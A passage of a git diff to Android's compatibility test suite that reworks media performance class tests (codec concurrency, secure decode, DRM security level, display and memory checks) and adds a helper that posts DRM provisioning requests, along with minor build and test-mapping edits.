-            mActivityRule.getActivity().setScreenParams(1280, 720, true);
-            decodeList.add(new DecodeToSurface(mDecoderPair.first,
-                    mTestFiles.get(mDecoderPair.first), mDecoderPair.second, surface, mIsAsync));
-            decodeResultList = pool.invokeAll(decodeList);
-        }
-        List<Future<Double>> transcodeResultList = pool.invokeAll(transcodeList);
-        for (Future<Double> result : transcodeResultList) {
-            achievedFrameRate += result.get();
-        }
-        if (decodeResultList != null) {
-            for (Future<Double> result : decodeResultList) {
+        if (maxInstances >= requiredMinInstances) {
+            ExecutorService pool =
+                    Executors.newFixedThreadPool(maxInstances / 2 + maxInstances % 2);
+            List<Transcode> transcodeList = new ArrayList<>();
+            for (int i = 0; i < maxInstances / 2; i++) {
+                transcodeList
+                        .add(new Transcode(mEncoderPair.first, mTestFiles.get(mDecoderPair.first),
+                                mDecoderPair.second, mEncoderPair.second, mIsAsync));
+            }
+            List<Future<Double>> decodeResultList = null;
+            if (maxInstances % 2 == 1) {
+                List<DecodeToSurface> decodeList = new ArrayList<>();
+                mActivityRule.getActivity().waitTillSurfaceIsCreated();
+                Surface surface = mActivityRule.getActivity().getSurface();
+                assertTrue("Surface created is null.", surface != null);
+                assertTrue("Surface created is invalid.", surface.isValid());
+                mActivityRule.getActivity().setScreenParams(width, height, true);
+                decodeList.add(new DecodeToSurface(mDecoderPair.first,
+                        mTestFiles.get(mDecoderPair.first), mDecoderPair.second, surface,
+                        mIsAsync));
+                decodeResultList = pool.invokeAll(decodeList);
+            }
+            List<Future<Double>> transcodeResultList = pool.invokeAll(transcodeList);
+            for (Future<Double> result : transcodeResultList) {
                 achievedFrameRate += result.get();
             }
+            if (decodeResultList != null) {
+                for (Future<Double> result : decodeResultList) {
+                    achievedFrameRate += result.get();
+                }
+            }
         }
-        assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                + "/" + mMaxFrameRate / 2 + " for " + maxInstances + " instances.",
-                achievedFrameRate >= mMaxFrameRate / 2);
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_5;
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_6;
+        if (height >= 1080) {
+            r5_1__H_1_5 = pce.addR5_1__H_1_5_1080p();
+            r5_1__H_1_6 = pce.addR5_1__H_1_6_1080p();
+            r5_1__H_1_5.setConcurrentInstances(maxInstances);
+            r5_1__H_1_6.setConcurrentFps(achievedFrameRate);
+        } else {
+            r5_1__H_1_5 = pce.addR5_1__H_1_5_720p(mDecoderPair.first, mEncoderPair.first, height);
+            r5_1__H_1_6 = pce.addR5_1__H_1_6_720p(mDecoderPair.first, mEncoderPair.first, height);
+            r5_1__H_1_5.setConcurrentInstances(maxInstances);
+            r5_1__H_1_6.setConcurrentFps(achievedFrameRate);
+        }
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
index 431425f..8da22f3 100644
--- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
@@ -16,30 +16,61 @@
 
 package android.mediapc.cts;
 
-import static android.util.DisplayMetrics.DENSITY_400;
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
+import static android.media.MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL;
+import static org.junit.Assert.assertTrue;
 
 import android.app.ActivityManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaDrm;
+import android.media.MediaFormat;
+import android.media.UnsupportedSchemeException;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.view.WindowManager;
-
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-
+import com.android.compatibility.common.util.CddTest;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.UUID;
 import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
-import org.junit.experimental.runners.Enclosed;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assert.assertTrue;
+import org.junit.rules.TestName;
 
 /**
  * Tests the basic aspects of the media performance class.
  */
 public class PerformanceClassTest {
     private static final String TAG = "PerformanceClassTest";
+    public static final String[] VIDEO_CONTAINER_MEDIA_TYPES =
+        {"video/mp4", "video/webm", "video/3gpp", "video/3gpp2", "video/avi", "video/x-ms-wmv",
+            "video/x-ms-asf"};
+    static ArrayList<String> mMimeSecureSupport = new ArrayList<>();
+
+    @Rule
+    public final TestName mTestName = new TestName();
+
+    @Before
+    public void isPerformanceClassCandidate() {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+    }
+
+    static {
+        mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+        mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_VP9);
+        mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+    }
+
 
     private boolean isHandheld() {
         // handheld nature is not exposed to package manager, for now
@@ -54,32 +85,86 @@
 
     @SmallTest
     @Test
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-11"})
+    public void testSecureHwDecodeSupport() {
+        ArrayList<String> noSecureHwDecoderForMimes = new ArrayList<>();
+        for (String mime : mMimeSecureSupport) {
+            boolean isSecureHwDecoderFoundForMime = false;
+            boolean isHwDecoderFoundForMime = false;
+            MediaCodecList codecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
+            MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
+            for (MediaCodecInfo info : codecInfos) {
+                if (info.isEncoder() || !info.isHardwareAccelerated() || info.isAlias()) continue;
+                try {
+                    MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                    if (caps != null) {
+                        isHwDecoderFoundForMime = true;
+                        if (caps.isFeatureSupported(FEATURE_SecurePlayback))
+                            isSecureHwDecoderFoundForMime = true;
+                    }
+                } catch (Exception ignored) {
+                }
+            }
+            if (isHwDecoderFoundForMime && !isSecureHwDecoderFoundForMime)
+                noSecureHwDecoderForMimes.add(mime);
+        }
+
+        boolean secureDecodeSupportIfHwDecoderPresent = noSecureHwDecoderForMimes.isEmpty();
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.SecureCodecRequirement r5_1__H_1_11 = pce.addR5_1__H_1_11();
+        r5_1__H_1_11.setSecureReqSatisfied(secureDecodeSupportIfHwDecoderPresent);
+
+        pce.submitAndCheck();
+    }
+
+    @SmallTest
+    @Test
+    @CddTest(requirements = {"2.2.7.1/5.7/H-1-2"})
+    public void testMediaDrmSecurityLevelHwSecureAll() throws UnsupportedSchemeException {
+        List<UUID> drmList = MediaDrm.getSupportedCryptoSchemes();
+        List<UUID> supportedHwSecureAllSchemes = new ArrayList<>();
+
+        for (UUID cryptoSchemeUUID : drmList) {
+            boolean cryptoSchemeSupportedForAtleastOneMediaType = false;
+            for (String mediaType : VIDEO_CONTAINER_MEDIA_TYPES) {
+                cryptoSchemeSupportedForAtleastOneMediaType |= MediaDrm
+                    .isCryptoSchemeSupported(cryptoSchemeUUID, mediaType,
+                        SECURITY_LEVEL_HW_SECURE_ALL);
+            }
+            if (cryptoSchemeSupportedForAtleastOneMediaType) {
+                supportedHwSecureAllSchemes.add(cryptoSchemeUUID);
+            }
+        }
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.SecureCodecRequirement r5_7__H_1_2 = pce.addR5_7__H_1_2();
+
+        r5_7__H_1_2.setNumCryptoHwSecureAllDec(supportedHwSecureAllSchemes.size());
+
+        pce.submitAndCheck();
+    }
+
+    @SmallTest
+    @Test
     public void testMediaPerformanceClassScope() throws Exception {
         // if device is not of a performance class, we are done.
         Assume.assumeTrue("not a device of a valid media performance class", Utils.isPerfClass());
 
-        if (Utils.isRPerfClass()
-                || Utils.isSPerfClass()) {
-            assertTrue("performance class is only defined for Handheld devices",
-                       isHandheld());
+        if (Utils.isPerfClass()) {
+            assertTrue("performance class is only defined for Handheld devices", isHandheld());
         }
     }
 
     @Test
-    public void testMinimumMemory() {
+    @CddTest(requirements={
+        "2.2.7.3/7.1.1.1/H-1-1",
+        "2.2.7.3/7.1.1.1/H-2-1",
+        "2.2.7.3/7.1.1.3/H-1-1",
+        "2.2.7.3/7.1.1.3/H-2-1",})
+    public void testMinimumResolutionAndDensity() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
 
-        if (Utils.isSPerfClass()) {
-            Context context = InstrumentationRegistry.getInstrumentation().getContext();
-
-            // Verify minimum screen density and resolution
-            assertMinDpiAndPixels(context, DENSITY_400, 1920, 1080);
-            // Verify minimum memory
-            assertMinMemoryMb(context, 5 * 1024);
-        }
-    }
-
-    /** Asserts that the given values conform to the specs in CDD */
-    private void assertMinDpiAndPixels(Context context, int minDpi, int minLong, int minShort) {
         // Verify display DPI. We only seem to be able to get the primary display.
         DisplayMetrics metrics = new DisplayMetrics();
         WindowManager windowManager =
@@ -89,27 +174,47 @@
         int longPix = Math.max(metrics.widthPixels, metrics.heightPixels);
         int shortPix = Math.min(metrics.widthPixels, metrics.heightPixels);
 
-        Log.i(TAG, String.format("minDpi=%d minSize=%dx%dpix", minDpi, minLong, minShort));
         Log.i(TAG, String.format("dpi=%d size=%dx%dpix", density, longPix, shortPix));
 
-        assertTrue("Display density " + density + " must be at least " + minDpi + "dpi",
-                   density >= minDpi);
-        assertTrue("Display resolution " + longPix + "x" + shortPix + "pix must be at least " +
-                   minLong + "x" + minShort + "pix",
-                   longPix >= minLong && shortPix >= minShort);
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.ResolutionRequirement r7_1_1_1__h_1_1 = pce.addR7_1_1_1__H_1_1();
+        PerformanceClassEvaluator.DensityRequirement r7_1_1_3__h_1_1 = pce.addR7_1_1_3__H_1_1();
+        PerformanceClassEvaluator.ResolutionRequirement r7_1_1_1__h_2_1 = pce.addR7_1_1_1__H_2_1();
+        PerformanceClassEvaluator.DensityRequirement r7_1_1_3__h_2_1 = pce.addR7_1_1_3__H_2_1();
+
+        r7_1_1_1__h_1_1.setLongResolution(longPix);
+        r7_1_1_1__h_2_1.setLongResolution(longPix);
+
+        r7_1_1_1__h_1_1.setShortResolution(shortPix);
+        r7_1_1_1__h_2_1.setShortResolution(shortPix);
+
+        r7_1_1_3__h_1_1.setDisplayDensity(density);
+        r7_1_1_3__h_2_1.setDisplayDensity(density);
+
+        pce.submitAndCheck();
     }
 
-    /** Asserts that the given values conform to the specs in CDD 7.6.1 */
-    private void assertMinMemoryMb(Context context, long minMb) {
-        ActivityManager activityManager =
-                    (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+    @Test
+    @CddTest(requirements={
+        "2.2.7.3/7.6.1/H-1-1",
+        "2.2.7.3/7.6.1/H-2-1",})
+    public void testMinimumMemory() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+
+        // Verify minimum memory
+        ActivityManager activityManager = context.getSystemService(ActivityManager.class);
         long totalMemoryMb = getTotalMemory(activityManager) / 1024 / 1024;
 
-        Log.i(TAG, String.format("minMb=%,d", minMb));
-        Log.i(TAG, String.format("totalMemoryMb=%,d", totalMemoryMb));
+        Log.i(TAG, String.format("Total device memory = %,d MB", totalMemoryMb));
 
-        assertTrue(String.format("Does not meet minimum memory requirements (CDD 7.6.1)."
-                + "Found = %d, Minimum = %d", totalMemoryMb, minMb), totalMemoryMb >= minMb);
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.MemoryRequirement r7_6_1_h_1_1 = pce.addR7_6_1__H_1_1();
+        PerformanceClassEvaluator.MemoryRequirement r7_6_1_h_2_1 = pce.addR7_6_1__H_2_1();
+
+        r7_6_1_h_1_1.setPhysicalMemory(totalMemoryMb);
+        r7_6_1_h_2_1.setPhysicalMemory(totalMemoryMb);
+
+        pce.submitAndCheck();
     }
 
     /**
diff --git a/tests/mediapc/src/android/mediapc/cts/Post.java b/tests/mediapc/src/android/mediapc/cts/Post.java
new file mode 100644
index 0000000..65d7062
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/Post.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import android.util.Log;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.SocketTimeoutException;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * The following class connects to HTTP server, posts requests and returns the response
+ */
+public final class Post {
+
+    private static final int TIMEOUT_MS = 5000;
+    private static final int MAX_TRIES = 5;
+    private static final String TAG = "WVPostRequest";
+
+    public static final class Response {
+
+        public final int code;
+        public final byte[] body;
+
+        public Response(int code, byte[] body) {
+            this.code = code;
+            this.body = body;
+        }
+    }
+
+    private static final byte[] EMPTY_BODY = new byte[0];
+
+    private final String mUrl;
+    private final byte[] mData;
+    private final boolean mExpectOutput;
+
+    private final Map<String, String> mProperties = new HashMap<>();
+
+    public Post(String url, byte[] data) {
+
+        mUrl = url;
+
+        mData = data == null ?
+                EMPTY_BODY :
+                Arrays.copyOf(data, data.length);
+
+        mExpectOutput = data != null;
+    }
+
+    public void setProperty(String key, String value) {
+        mProperties.put(key, value);
+    }
+
+    public Response send() throws IOException, InterruptedException {
+
+        int tries = 1;
+        boolean needRetry = true;
+        Response response = null;
+
+        while (needRetry) {
+            HttpURLConnection connection = null;
+            needRetry = false;
+
+            try {
+                connection = (HttpURLConnection) new URL(mUrl).openConnection();
+
+                connection.setRequestMethod("POST");
+                connection.setDoOutput(mExpectOutput);
+                connection.setDoInput(true);
+                connection.setConnectTimeout(TIMEOUT_MS);
+                connection.setReadTimeout(TIMEOUT_MS);
+                connection.setChunkedStreamingMode(0);
+
+                for (final Map.Entry<String, String> property : mProperties.entrySet()) {
+                    connection.setRequestProperty(
+                            property.getKey(),
+                            property.getValue());
+                }
+
+                try (BufferedOutputStream out =
+                        new BufferedOutputStream(connection.getOutputStream())) {
+                    out.write(mData);
+                }
+
+                try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
+
+                    try (BufferedInputStream inputStream = connection.getResponseCode() < 400
+                            ? new BufferedInputStream(connection.getInputStream())
+                            : new BufferedInputStream(connection.getErrorStream())) {
+                        connectStreams(inputStream, outputStream);
+                    }
+
+                    response =  new Response(
+                            connection.getResponseCode(),
+                            outputStream.toByteArray());
+                }
+
+            } catch (SocketTimeoutException | FileNotFoundException ex) {
+
+                if (tries == MAX_TRIES) {
+                    Log.e(TAG, "Aborting after receiving an Exception connecting to server on try "
+                            + tries);
+                    throw ex;
+                }
+
+                Log.w(TAG, "Retrying after receiving an Exception connecting to server on try "
+                        + tries);
+                tries++;
+                needRetry = true;
+
+                // Let the gap between retries grow slightly with each retry.
+                Thread.sleep(tries * 500L);
+
+            } catch (Exception ex) {
+
+                Log.e(TAG, "Unexpected failure in response / request.", ex);
+                throw ex;
+
+            } finally {
+
+                if (connection != null) {
+                    connection.disconnect();
+                }
+            }
+        }
+        return response;
+    }
+
+    private static void connectStreams(BufferedInputStream in, ByteArrayOutputStream out)
+            throws IOException {
+
+        final byte[] scratch = new byte[1024];
+
+        int read; /* declare this here so that the for loop can be aligned */
+
+        while ((read = in.read(scratch)) != -1) {
+            out.write(scratch, 0, read);
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java b/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java
new file mode 100644
index 0000000..8d02700
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static org.junit.Assert.*;
+
+import android.media.MediaDrm;
+
+import java.io.IOException;
+
+/*
+ * The ProvisionRequester is used to provision an unprovisioned device.
+ * This is likely a single use class, as devices should not need to be
+ * continually re-provisioned during playback.
+ */
+public final class ProvisionRequester {
+
+    private final MediaDrm mDrm;
+    private Exception mException = null;
+
+    public ProvisionRequester(MediaDrm drm) {
+        mDrm = drm;
+    }
+
+    private final Thread provisionThread = new Thread() {
+        @Override
+        public void run() {
+            try {
+                final MediaDrm.ProvisionRequest request = mDrm.getProvisionRequest();
+
+                final byte[] data = request.getData();
+
+                final String signedUrl = String.format(
+                        "%s&signedRequest=%s",
+                        request.getDefaultUrl(),
+                        new String(data));
+
+                final Post post = new Post(signedUrl, null);
+
+                post.setProperty("Accept", "*/*");
+                post.setProperty("User-Agent", "Widevine CDM v1.0");
+                post.setProperty("Content-Type", "application/json");
+                post.setProperty("Connection", "close");
+
+                final Post.Response response = post.send();
+
+                if (response.code != 200) {
+                    throw new IOException("Server returned HTTP error code " + response.code);
+                }
+
+                if (response.body == null) {
+                    throw new IOException("No response from provisioning server");
+                }
+
+                if (response.body.length == 0) {
+                    throw new IOException("Empty response from provisioning server");
+                }
+
+                mDrm.provideProvisionResponse(response.body);
+            } catch(Exception e) {
+                mException = e;
+            }
+        }
+    };
+
+    public void send() {
+        try {
+            provisionThread.start();
+            provisionThread.join();
+            assertNull("Got an Exception in provisioning: " + mException, mException);
+        } catch (InterruptedException ex) {
+            fail("Failed to provision");
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/Utils.java b/tests/mediapc/src/android/mediapc/cts/Utils.java
deleted file mode 100644
index c4038cf..0000000
--- a/tests/mediapc/src/android/mediapc/cts/Utils.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediapc.cts;
-
-import android.os.Build;
-import android.util.Log;
-
-/**
- * Test utilities.
- */
-/* package private */ class Utils {
-    private static final int sPc = Build.VERSION.MEDIA_PERFORMANCE_CLASS;
-
-    private static final String TAG = "PerformanceClassTestUtils";
-
-    static {
-        Log.d(TAG, "performance class is "  + sPc);
-    }
-
-    /**
-     * First defined media performance class.
-     */
-    private static final int FIRST_PERFORMANCE_CLASS = Build.VERSION_CODES.R;
-
-    public static boolean isRPerfClass() {
-        return sPc == Build.VERSION_CODES.R;
-    }
-
-    public static boolean isSPerfClass() {
-        return sPc == Build.VERSION_CODES.R + 1; /* TODO: make this S */
-    }
-
-    /**
-     * Latest defined media performance class.
-     */
-    /* TODO: make this S */
-    private static final int LAST_PERFORMANCE_CLASS = Build.VERSION_CODES.R + 1;
-
-    public static int getPerfClass() {
-        return sPc;
-    }
-
-    public static boolean isPerfClass() {
-        return sPc >= FIRST_PERFORMANCE_CLASS &&
-               sPc <= LAST_PERFORMANCE_CLASS;
-    }
-}
diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
new file mode 100644
index 0000000..2ee8b3b
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.media.MediaFormat.MIMETYPE_VIDEO_AV1;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
+import android.util.Log;
+import androidx.test.filters.LargeTest;
+import com.android.compatibility.common.util.CddTest;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+
+public class VideoCodecRequirementsTest {
+    private static final String LOG_TAG = VideoCodecRequirementsTest.class.getSimpleName();
+    private static final String FILE_AV1_REQ_SUPPORT =
+            "dpov_1920x1080_60fps_av1_10bit_film_grain.mp4";
+
+    @Rule
+    public final TestName mTestName = new TestName();
+
+    @Before
+    public void isPerformanceClassCandidate() {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+    }
+
+    private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException {
+        Set<String> codecSet = new HashSet<>();
+        Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+        PerformancePoint PP4k60 = new PerformancePoint(3840, 2160, 60);
+        for (String codecMediaType : codecMediaTypes) {
+            ArrayList<String> hwVideoCodecs =
+                    selectHardwareCodecs(codecMediaType, null, null, isEncoder);
+            for (String hwVideoCodec : hwVideoCodecs) {
+                MediaCodec codec = MediaCodec.createByCodecName(hwVideoCodec);
+                CodecCapabilities capabilities =
+                        codec.getCodecInfo().getCapabilitiesForType(codecMediaType);
+                List<PerformancePoint> pps =
+                        capabilities.getVideoCapabilities().getSupportedPerformancePoints();
+                assertTrue(hwVideoCodec + " doesn't advertise performance points", pps.size() > 0);
+                for (PerformancePoint pp : pps) {
+                    if (pp.covers(PP4k60)) {
+                        codecSet.add(hwVideoCodec);
+                        Log.d(LOG_TAG,
+                                "Performance point 4k60 supported by codec: " + hwVideoCodec);
+                        break;
+                    }
+                }
+                codec.release();
+            }
+        }
+        return codecSet;
+    }
+
+    /**
+     * Validates AV1 hardware decoder is present and supports: Main 10, Level 4.1, Film Grain
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-14")
+    public void testAV1HwDecoderRequirements() throws Exception {
+        MediaFormat format = MediaFormat.createVideoFormat(MIMETYPE_VIDEO_AV1, 1920, 1080);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, 60);
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(format);
+        ArrayList<String> av1HwDecoders =
+                selectHardwareCodecs(MIMETYPE_VIDEO_AV1, formats, null, false);
+        boolean oneCodecDecoding = false;
+        for (String codec : av1HwDecoders) {
+            Decode decode = new Decode(MIMETYPE_VIDEO_AV1, FILE_AV1_REQ_SUPPORT, codec, true);
+            double achievedRate = decode.doDecode();
+            if (achievedRate > 0) {
+                oneCodecDecoding = true;
+            }
+        }
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.VideoCodecRequirement rAV1DecoderReq = pce.addRAV1DecoderReq();
+        rAV1DecoderReq.setAv1DecoderReq(oneCodecDecoding);
+
+        pce.submitAndCheck();
+    }
+
+    /**
+     * Validates if a hardware decoder that supports 4k60 is present
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-15")
+    public void test4k60Decoder() throws IOException {
+        Set<String> decoderSet = get4k60HwCodecSet(false);
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.VideoCodecRequirement r4k60HwDecoder = pce.addR4k60HwDecoder();
+        r4k60HwDecoder.set4kHwDecoders(decoderSet.size());
+
+        pce.submitAndCheck();
+    }
+
+    /**
+     * Validates if a hardware encoder that supports 4k60 is present
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-16")
+    public void test4k60Encoder() throws IOException {
+        Set<String> encoderSet = get4k60HwCodecSet(true);
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.VideoCodecRequirement r4k60HwEncoder = pce.addR4k60HwEncoder();
+        r4k60HwEncoder.set4kHwEncoders(encoderSet.size());
+
+        pce.submitAndCheck();
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/WorkDir.java b/tests/mediapc/src/android/mediapc/cts/WorkDir.java
index d45c14b..cd5ad7e 100644
--- a/tests/mediapc/src/android/mediapc/cts/WorkDir.java
+++ b/tests/mediapc/src/android/mediapc/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaPerformanceClassTestCases-1.1/");
+            return (getTopDirString() + "test/CtsMediaPerformanceClassTestCases-1.2/");
         }
     }
 }
diff --git a/tests/musicrecognition/Android.bp b/tests/musicrecognition/Android.bp
index 1b7298a..ecda10b 100644
--- a/tests/musicrecognition/Android.bp
+++ b/tests/musicrecognition/Android.bp
@@ -31,4 +31,8 @@
         "cts",
         "general-tests",
     ],
+    data: [
+        ":CtsOutsideOfPackageService",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
index 918df5a..c5fce07 100644
--- a/tests/musicrecognition/AndroidTest.xml
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -22,6 +22,7 @@
   <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
   <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
diff --git a/tests/musicrecognition/TEST_MAPPING b/tests/musicrecognition/TEST_MAPPING
index 612fa47..cdcb14f 100644
--- a/tests/musicrecognition/TEST_MAPPING
+++ b/tests/musicrecognition/TEST_MAPPING
@@ -3,5 +3,10 @@
     {
       "name": "CtsMusicRecognitionTestCases"
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsMusicRecognitionTestCases"
+    }
   ]
 }
diff --git a/tests/net/Android.bp b/tests/net/Android.bp
new file mode 100644
index 0000000..5b0178d
--- /dev/null
+++ b/tests/net/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+// Contains tests for networking code that is in the platform and not in mainline modules.
+// These tests are run by CtsNetTestCases and CtsNetTestCasesLatestSdk, so like all the other tests
+// in those suites, they must pass on all Android versions supported by the modules.
+java_library {
+    name: "CtsNetTestsNonUpdatableLib",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules"
+    ],
+    libs: [
+        "net-tests-utils",
+    ],
+    platform_apis: true,
+    visibility: [
+        "//packages/modules/Connectivity/tests:__subpackages__",
+    ],
+}
